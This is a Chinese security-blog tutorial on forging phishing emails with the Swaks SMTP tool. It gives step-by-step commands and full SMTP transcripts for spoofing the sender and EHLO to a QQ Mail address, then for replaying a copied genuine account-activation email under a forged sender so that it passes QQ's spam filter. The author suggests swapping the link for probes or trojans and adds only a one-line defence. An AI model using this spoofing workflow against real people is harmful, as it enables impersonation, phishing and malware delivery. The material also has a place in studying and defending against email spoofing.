钓鱼邮件初探:黑客是如何进行邮件伪造的?

本文原创作者:dontshoot

免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

现如今的钓鱼邮件都是通过注册相似的邮箱,或者设置邮箱的显示名称,盼着被害人有看走眼的那一刻,轻信邮件的内容。这种方法需要一定的社工技巧,以及诱导性的语言来诱使被害人上钩。但是对于有一定的经验以及眼力的人来说,还是可以识破骗子的伎俩。

下面我要介绍的这款工具可以最大程度的欺骗你的邮箱,更不要提你的眼睛。当然,此方法不是适用于任何邮箱,毕竟每种邮箱的过滤机制都不相同。gmail在这方面就做的不错。

Swaks – SMTP界的瑞士军刀

安装:kali中自带,或者从作者网页下载

基本用法:

swaks –to <要测试的邮箱>         用来测试邮箱的连通性

[email protected]:~# swaks --to [email protected]  === Trying mx3.qq.com:25...  === Connected to mx3.qq.com.  <-  220 newmx59.qq.com MX QQ Mail Server   -> EHLO kali  <-  250-newmx59.qq.com  <-  250-SIZE 73400320  <-  250-STARTTLS  <-  250 OK   -> MAIL FROM:<[email protected]>  <-  250 Ok   -> RCPT TO:<[email protected]>  <-  250 Ok   -> DATA  <-  354 End data with <CR><LF>.<CR><LF>   -> Date: Tue, 05 Jan 2016 23:15:11 -0500   -> To: [email protected]   -> From: [email protected]   -> Subject: test Tue, 05 Jan 2016 23:15:11 -0500   -> X-Mailer: swaks v20130209.0 jetmore.org/john/code/swaks/   ->    -> This is a test mailing   ->    -> .  <** 550 Mail content denied. http://service.mail.qq.com/cgi-bin/help?subtype=1&&id=20022&&no=1000726   -> QUIT  <-  221 Bye  === Connection closed with remote host.

前面都返回250ok,说明该邮箱存在,并且可以正常收信。最后可以看到qq邮箱返回550错误,qq官方给出的出错原因:该邮件内容涉嫌大量群发,并且被多数用户投诉为垃圾邮件。

我们可以继续对邮件进行伪造,来绕过qq邮箱的判断

比如:

swaks --to [email protected] --from [email protected] --ehlo freebuf.com --body hello --header "Subject: hello"

其中:

–from <要显示的发件人邮箱>

–ehlo <伪造的邮件ehlo头>

–body <邮件正文>

–header <邮件头信息,subject为邮件标题>

[email protected]:~# swaks --to [email protected] --from [email protected] --ehlo freebuf.com --body hello --header "Subject: hello"  === Trying mx3.qq.com:25...  === Connected to mx3.qq.com.  <-  220 newmx.qq.com MX QQ Mail Server   -> EHLO freebuf.com  <-  250-newmx.qq.com  <-  250-SIZE 73400320  <-  250-STARTTLS  <-  250 OK   -> MAIL FROM:<[email protected]>  <-  250 Ok   -> RCPT TO:<[email protected]>  <-  250 Ok   -> DATA  <-  354 End data with <CR><LF>.<CR><LF>   -> Date: Tue, 05 Jan 2016 23:23:09 -0500   -> To: [email protected]   -> From: [email protected]   -> Subject: hello   -> X-Mailer: swaks v20130209.0 jetmore.org/john/code/swaks/   ->    -> hello   ->    -> .  <-  250 Ok: queued as    -> QUIT  <-  221 Bye  === Connection closed with remote host.

在你ip没有被qq邮箱band的情况下,邮件可以正常发送,返回250 ok。

钓鱼邮件初探:黑客是如何进行邮件伪造的?

到这一步基本上可以满足伪造邮件的要求了,但是qq邮箱会有安全提示,不过在不注意的情况下,基本上普通用户会轻信邮件中的内容。

高级用法:

使用swaks其实还可以进行更高级的邮件伪造,几乎可以伪造邮件中的每一个参数。

–data <源邮件>

首先,我们需要一份正常的邮件

钓鱼邮件初探:黑客是如何进行邮件伪造的?

点击显示邮件原文,把原文复制出来,保存为email.txt

钓鱼邮件初探:黑客是如何进行邮件伪造的?

其中的received可以都删除,该项为接收信息,发信中不需要。to项也可以删除,可以直接用swaks –to来代替。

注意不要忘了加–from 否则qq邮箱会报由kali代发……

swaks --data ./Desktop/email.txt --to [email protected] --from [email protected]
=== Trying mx3.qq.com:25...  === Connected to mx3.qq.com.  <-  220 newmx.qq.com MX QQ Mail Server   -> EHLO kali  <-  250-newmx.qq.com  <-  250-SIZE 73400320  <-  250-STARTTLS  <-  250 OK   -> MAIL FROM:<[email protected]>  <-  250 Ok   -> RCPT TO:<[email protected]>  <-  250 Ok   -> DATA  <-  354 End data with <CR><LF>.<CR><LF>   -> X-QQ-mid: bizesmtp1t1452053499t679t108   -> X-QQ-SSF: A0100000002000F16x90000A0000000   -> X-QQ-FEAT: JN+C/NT9bLPRA1qtkTz2XI2YtLAH2K0SriLtB4o1q8I8MwPIq85lzXVAE4t7b   ->  OaepuNhlRjNMuNhLJH2pbIQ3JkVf4MP4TXQi2HVPIG8N8dUf6GgxSJyMKya1U+CgOSvNgnP   ->  bbplbVZjkAVzVuoZOc03UetuyeF1A3SpS70fm7O8nzDqx918Tpsf+n3dlMN6UaAEV3SJycL   ->  1JuHYi2/yTQ7J6XJ4bMhJRRbRROkDmpNEgqGw1Sfo66A/oJUz0rf4tLEr7HgNuls18LrqZV   ->  jYfpcX5wglT4lxLNkHZRNBshk=   -> Date: Wed, 6 Jan 2016 12:11:39 +0800   -> Return-Path: [email protected]   -> From: =?utf-8?B?RnJlZUJ1Zi/mvI/mtJ7nm5LlrZDmnI3liqHlm6LpmJ8=?= <[email protected]>   -> Subject: =?utf-8?B?RnJlZUJ1Zi/mvI/mtJ7nm5LlrZDotKbmiLfmv4DmtLvpgq7ku7Y=?=   -> Message-ID: <[email protected]>   -> X-Priority: 3   -> X-Mailer: PHPMailer 5.1 (phpmailer.sourceforge.net)   -> MIME-Version: 1.0   -> Content-Type: multipart/alternative;   ->  boundary="b1_34db99d2b030c0f7b34bd2c6beca9666"   ->    ->    -> --b1_34db99d2b030c0f7b34bd2c6beca9666   -> Content-Type: text/plain; charset = "utf-8"   -> Content-Transfer-Encoding: 8bit   ->    -> FreeBuf/漏洞盒子账户激活邮件   ->    ->    -> --b1_34db99d2b030c0f7b34bd2c6beca9666   -> Content-Type: text/html; charset = "utf-8"   -> Content-Transfer-Encoding: 8bit   ->    -> 尊敬的FreeBuf/漏洞盒子用户:   ->   您好,您可以点击以下链接激活您的账号:<BR><A href="https://account.tophant.com/register/activation/token/c5023007b72363de7085504cf922d0c6" target=_blank>https://account.tophant.com/register/activation/token/c5023007b72363de7085504cf922d0c6伪造成功,你还敢点这条链接么</A><BR><BR>本邮件由系统自动发出,请勿回复。   ->    -> 感谢您的使用。   -> FreeBuf/漏洞盒子管理团队   ->    ->    ->    -> --b1_34db99d2b030c0f7b34bd2c6beca9666--   ->    -> .  <-  250 Ok: queued as    -> QUIT  <-  221 Bye  === Connection closed with remote host.

发送成功,qq邮箱没报垃圾邮件,也没报有害。

钓鱼邮件初探:黑客是如何进行邮件伪造的?

伪造成功,这超链接可以换成你喜欢的各种探针啊,马啊之类的,在加上一点社工技巧,在APT横行的年代,自求多福吧。

解决办法:遇到可疑邮件要查看源邮件,判断发信人ip是否为可信任的ip。

* 作者:dontshoot,本文属FreeBuf原创奖励计划文章,未经许可禁止转载